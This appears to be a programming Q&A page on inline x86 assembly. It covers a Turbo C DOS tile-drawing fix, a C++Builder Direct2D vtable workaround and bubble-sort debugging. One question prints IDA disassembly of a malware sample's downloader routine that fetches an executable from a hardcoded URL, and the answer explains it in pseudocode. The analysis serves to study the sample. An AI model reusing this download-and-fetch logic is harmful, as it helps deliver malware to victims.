I'm still playing with retro programming in turbo C for MS-DOS, and I found some trounble using variables.
If I define some variables at the start of the assembly code (in BSS or DATA), and try to use them inside the assembly function, most of the time these variables are deleted, or end up containing random data.
I learned a bit of assembly for the game boy :) and variables always worked well and never were deleted or modified, I guess x86 asm is different.
Then I tried this using inline assembly and it was a bit better, there is just one variable (width) not working.
void draw_map_column(MAP map, TILE *t){
word *tiledata = &t->data;
int *mapdata = map.data;
int width = map.width<<1;
word tile_offset = 0;
word map_offset = 0;
word screen_offset = 0;
asm{
push ds
push di
push si
mov dx,12 //column
lds bx,[tiledata]
lds si,ds:[bx] //ds:si data address
mov [tile_offset],ds
mov [tile_offset+2],si
les bx,[mapdata]
mov ax,es:[bx]
mov cl,8
shl ax,cl
add si,ax
mov di,screen_offset //es:di screen address
}
loop_tile:
asm{
mov ax,0A000h
mov es,ax
mov ax,16
}
copy_tile:
asm{
mov cx,8
rep movsw
add di,320-16
dec ax
jnz copy_tile
mov ds,[tile_offset]
mov si,[tile_offset+2]
mov ax,map_offset
add ax,[width] //"width" does never contain the value stored at the start
mov map_offset,ax
les bx,[mapdata]
add bx,ax
mov ax,es:[bx]
mov cl,8
shl ax,cl
add si,ax
dec dx
jnz loop_tile
pop si
pop di
pop ds
}
}
Just note the "witdh" variable which is not working at all, if I replace it with a number (40), the code just works as expected (this draws a column of tiles using a map array, and some tiles stored in ram).
I guess it has something to do with the push/pop etc, and something is not set as it should.
Also what happens in pure assembly? none of the variables were working. I defined them as DW and also added:
push bp
mov bp,sp
;function
mov sp,bp
pop bp
Thanks.
Well once again thanks a lot, next time I'll be more patient before asking.
Just in case this is useful for someone, I had defined a variable using the wrong size.
There are other things that can be improved, but that's another question.
Variable "tileoffset" holds a 32 bit address, so it must be a "dword", not a "word". Then the function should be like this:
void draw_map_column(MAP map, TILE *t){
word *tiledata = &t->data;
int *mapdata = map.data;
int width = map.width<<1;
dword tile_offset = 0; //changed to dword to store 32 bit address
word map_offset = 0;
word screen_offset = 0;
asm{
push ds
push di
push si
mov dx,12 //column
lds bx,[tiledata]
lds si,ds:[bx] //ds:si data address
mov word ptr[tile_offset],ds //store a word
mov word ptr[tile_offset+2],si
les bx,[mapdata]
mov ax,es:[bx]
mov cl,8
shl ax,cl
add si,ax
mov di,screen_offset //es:di screen address
}
loop_tile:
asm{
mov ax,0A000h
mov es,ax
mov ax,16
}
copy_tile:
asm{
mov cx,8
rep movsw
add di,320-16
dec ax
jnz copy_tile
mov ds,word ptr[tile_offset] //read a word to the register
mov si,word ptr[tile_offset+2]
mov ax,map_offset
add ax,[width]
mov map_offset,ax
les bx,[mapdata]
add bx,ax
mov ax,es:[bx]
mov cl,8
shl ax,cl
add si,ax
dec dx
jnz loop_tile
pop si
pop di
pop ds
}
Related
I'm trying to get the size of a Direct2D Bitmap and getting an immediate crash.
// props and target etc all set up beforehand.
CComPtr<ID2D1Bitmap> &b;
target->CreateBitmap(D2D1::SizeU(1024,1024), frame.p_data, 1024* 4, &props, &b));
D2D_SIZE_U sz = b->GetPixelSize(); // Crashes here.
All other operations using the bitmap (including drawing it) work correctly. It's just returning the size that seems to be the problem.
Based on a articles like this by Rudy V, my suspicion is that it's some incompatibility with C++Builder 2010 and how COM functions return 64-bit structures. http://rvelthuis.de/articles/articles-convert.html
The Delphi declaration of GetPixelSize looks like this: (from D2D1.pas)
// Returns the size of the bitmap in resolution dependent units, (pixels).
procedure GetPixelSize(out pixelSize: TD2D1SizeU); stdcall;
... and in D2D1.h it's
//
// Returns the size of the bitmap in resolution dependent units, (pixels).
//
STDMETHOD_(D2D1_SIZE_U, GetPixelSize)(
) CONST PURE;
Can I fix this without rewriting the D2D headers?
All suggestions welcome - except upgrading from C++Builder 2010 which is more of a task than I'm ready for at the moment.
„getInfo“ is a function derived from Delphi code, which can work around.
void getInfo(void* itfc, void* info, int vmtofs)
{
asm {
push info // pass pointer to return result
mov eax,itfc // eax poionts to interface
push eax // pass pointer to interface
mov eax,[eax] // eax points to VMT
add eax,vmtofs // eax points rto address of virtual function
call dword ptr [eax] // call function
}
}
Disassembly of code generated by CBuilder, which results in a crash:
Graphics.cpp.162: size = bmp->GetSize();
00401C10 8B4508 mov eax,[ebp+$08]
00401C13 FF7004 push dword ptr [eax+$04]
00401C16 8D55DC lea edx,[ebp-$24]
00401C19 52 push edx
00401C1A 8B4D08 mov ecx,[ebp+$08]
00401C1D 8B4104 mov eax,[ecx+$04]
00401C20 8B10 mov edx,[eax]
00401C22 FF5210 call dword ptr [edx+$10]
00401C25 8B4DDC mov ecx,[ebp-$24]
00401C28 894DF8 mov [ebp-$08],ecx
00401C2B 8B4DE0 mov ecx,[ebp-$20]
00401C2E 894DFC mov [ebp-$04],ecx
„bmp“ is declared as
ID2D1Bitmap* bmp;
Code to call „getInfo“:
D2D1_SIZE_F size;
getInfo(bmp,&pf,0x10);
You get 0x10 (vmtofs) from disassembly line „call dword ptr [edx+$10]“
You can call „GetPixelSize“, „GetPixelFormat“ and others by calling „getInfo“
D2D1_SIZE_U ps;// = bmp->GetPixelSize();
getInfo(bmp,&ps,0x14);
D2D1_PIXEL_FORMAT pf;// = bmp->GetPixelFormat();
getInfo(bmp,&pf,0x18);
„getInfo“ works with methods „STDMETHOD_ ... CONST PURE;“, which return a result.
STDMETHOD_(D2D1_SIZE_F, GetSize)(
) CONST PURE;
For this method CBuilder generates malfunctional code.
In case of
STDMETHOD_(void, GetDpi)(
__out FLOAT *dpiX,
__out FLOAT *dpiY
) CONST PURE;
the CBuilder code works fine, „getDpi“ results void.
I coded
main()
{
unsigned char *memory;
unsigned int a=15;
float sigma=5.0f;
gaussian_filter();
}
gaussian_filter()
{
unsigned __int64 evacuate_rbp;
unsigned __int64 evacuate_rsp;
__asm
{
mov eax, a
...
mov evacuate_rbp, rbp
mov evacuate_rsp, rsp
...
mov rsp, memory
...
movss xmm0, sigma
....
mov rbp, evacuate_rbp
mov rsp, evacuate_rsp
}
}
I want to non-parameter passing to use rbp and rsp registers as an address index of memory.
In Build with Intel C++ compiler, error is occured. Why?.
void a(DWORD b) {
__asm {
mov ecx, b
mov eax, [ecx]
call dword ptr[eax + 12]
}
}
What I don't get about this is that its moving "b" over to the ECX register, then moving it back to the EAX register, and then calling the function located within the EAX register.
Is it inefficient code? Is it supposed to be like that?
Why can't I do:
__asm {
mov eax, b
call dword ptr[eax + 12]
}
I'm really confused here. Am I missing something about the general concept about registers in assembly?
I'm trying to analyze malware in an executable. I'm trying to analyze the nature of the function at the subroutine sub_401040. When I ran it in IDA Pro, I got assembly code that looks something like the one that is posted below. However, I'm a bit confused on what exactly is happening at this function. Any help will be highly appreciated!
I can understand that subroutine 401040 has got a single parameter. But I'm lost trying to understand its functionality or how the parameter is being used.
sub_401040 proc near
Buffer= dword ptr -230h
var_22C= byte ptr -22Ch
hFile= dword ptr -30h
hInternet= dword ptr -2Ch
szAgent= byte ptr -28h
dwNumberOfBytesRead= dword ptr -8
var_4= dword ptr -4
arg_0= dword ptr 8
push ebp
mov ebp, esp
sub esp, 230h
mov eax, [ebp+arg_0]
push eax
push offset aInternetExplor ; "Internet Explorer 7.50/lol%d"
lea ecx, [ebp+szAgent]
push ecx ; char *
call _sprintf
add esp, 0Ch
push 0 ; dwFlags
push 0 ; lpszProxyBypass
push 0 ; lpszProxy
push 0 ; dwAccessType
lea edx, [ebp+szAgent]
push edx ; lpszAgent
call ds:InternetOpenA
mov [ebp+hInternet], eax
push 0 ; dwContext
push 0 ; dwFlags
push 0 ; dwHeadersLength
push 0 ; lpszHeaders
push offset szUrl ; "http://www.inactivedomain.com/cc.exe"
mov eax, [ebp+hInternet]
push eax ; hInternet
call ds:InternetOpenUrlA
mov [ebp+hFile], eax
cmp [ebp+hFile], 0
jnz short loc_4010B1
Basically, it's doing this (psueudocode):
sprintf(szAgent, "Internet Explorer 7.50/lol%d", arg0);
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
// Initializes an application's use of the WinINet functions.
HINTERNET hInternet = InternetOpen(szAgent, 0, 0, 0, 0);
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx
// Opens a resource specified by a complete FTP or HTTP URL.
HINTERNET Return = InternetOpenUrl(hInternet, "http://www.inactivedomain.com/cc.exe", 0, 0, 0, 0 );
if (!Return) // etc...
So i have an assignment where i have to sort dynamically allocated array with a bubble sort written as inline assembly function. Trouble is that my assembly function won't work with dynamically allocated array.
int *array;
array=new int[N]; //N=number of elements
for(int i=0;i<N;i++)
{
//generate random numbers
}
N--;
__asm {
outer_loop:
xor edx, edx
lea esi, array
mov ecx, N
inner_loop:
mov eax, [esi]
mov ebx, [esi+4]
cmp eax, ebx
jae next_pair
mov [esi], ebx
mov [esi+4], eax
add edx, 1
next_pair:
add esi,4
dec ecx
jnz inner_loop
test edx, edx
jnz outer_loop
}
for(int t=0;t<5;t++)
{
cout<<array[t]<<" "; // it get's stuck here "Unhandled exception"
}
I don't know what I'm doing wrong because I am a NOOB and I'm kinda out of options so yea.
Thanks anyway
I tested your code in masm32 because you should be using Visual studio that uses masm syntax, and my compiler is the GCC, your bubble sort don't work because lea esi, array replaces for mov esi, array maybe it work because I don't tested in VS, the fragment of code is in intel syntax and AT&T syntax is here
void BubbleSort(int *array, int n) {
n--;
__asm__ __volatile__(
"outter_loop:\n"
".intel_syntax noprefix\n" // use intel syntax
"xor edx, edx\n"
".att_syntax prefix\n" // back to at&t to get parameters
"movl %[p], %%esi\n" // mov esi, array
"movl %[n], %%ecx\n" // mov ecx, n
".intel_syntax noprefix\n"
"inner_loop:\n"
"mov eax, [esi]\n"
"mov ebx, [esi+4]\n"
"cmp eax, ebx\n"
"jae next_pair\n"
"mov [esi], ebx\n"
"mov [esi+4], eax\n"
"mov edx, 1\n"
"next_pair:\n"
"add esi, 4\n"
"dec ecx\n"
"jnz inner_loop\n"
"test edx, edx\n"
"jnz outter_loop\n"
".att_syntax prefix\n" // back to at&t again
:
:[p]"m"(array), [n]"m"(n)
: "%eax", "%ebx", "%ecx", "%edx", "%esi"); // clobbered registers
}
well this code fragment works perfectly since you wanted to makes in order from highest to lowest.